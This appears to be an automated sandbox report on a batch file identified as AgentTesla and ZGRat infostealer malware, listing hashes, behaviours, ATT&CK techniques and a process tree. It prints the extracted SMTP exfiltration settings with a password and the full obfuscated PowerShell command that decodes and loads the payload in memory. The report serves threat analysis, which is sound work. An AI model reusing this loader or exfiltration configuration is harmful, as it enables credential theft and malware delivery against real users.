Analysis
-
max time kernel
136s -
max time network
99s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
-
submitted
08-05-2024 16:14
General
-
Target
document1.xlsm.bat
-
Size
2.5MB
-
MD5
b35dd1b0c0a8eacd45751dc8915c921b
-
SHA1
69ec58d6a3fced2e8cf8afcad404e622f732ba64
-
SHA256
35b1f297074282d80109a55ffa2250719618fb94d1ffb89f2af71088000e4842
-
SHA512
c91063cfcd257d3e056c9625538106c27fbcf15963d1ab8c6fac5ef7ba90adfe14028dd1231157e9e8c4b2aaffa3a6995d78356bd70321999f4c3116332b2b8f
-
SSDEEP
24576:B3tFuAl5/Sq8tSKHGvFu6n0RXTiRJQQ49ZJ7Mr1/rfU2fdvFShyJDgyxK5If6Yc0:9nKqoH36ncXsCyhAJXIyYCOi4bwFMV
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.id-net.fr - Port:
587 - Username:
[email protected] - Password:
zhi33 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Detect ZGRat V1 34 IoCs
-
ZGRat
ZGRat is remote access trojan written in C#.
-
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
-
Executes dropped EXE 1 IoCs
-
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of SetThreadContext 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 17 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk2⤵
-
-
C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk2⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.AgkC:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk -WindowStyle hidden -command "$Dpaixwue = Get-Content 'C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat' | select-object -Last 1; $Cbgbn = [System.Convert]::FromBase64String($Dpaixwue);$Wrshbyf = New-Object System.IO.MemoryStream( , $Cbgbn );$Vqjgxif = New-Object System.IO.MemoryStream;$Hbhfx = New-Object System.IO.Compression.GzipStream $Wrshbyf, ([IO.Compression.CompressionMode]::Decompress);$Hbhfx.CopyTo( $Vqjgxif );$Hbhfx.Close();$Wrshbyf.Close();[byte[]] $Cbgbn = $Vqjgxif.ToArray();[Array]::Reverse($Cbgbn); $Zbupjnbsv = [System.Threading.Thread]::GetDomain().Load($Cbgbn); $Rzfvpsrcsoi = $Zbupjnbsv.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
Filesize
4KB
-
Filesize
216KB
-
Filesize
7.7MB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
6.5MB
-
Filesize
4.4MB
-
Filesize
2.2MB
-
Filesize
584KB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
2.2MB
-
Filesize
7.7MB
-
Filesize
432KB
-
Filesize
304KB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
336KB
-
Filesize
7.7MB
-
Filesize
264KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
320KB
-
Filesize
40KB
-
Filesize
7.7MB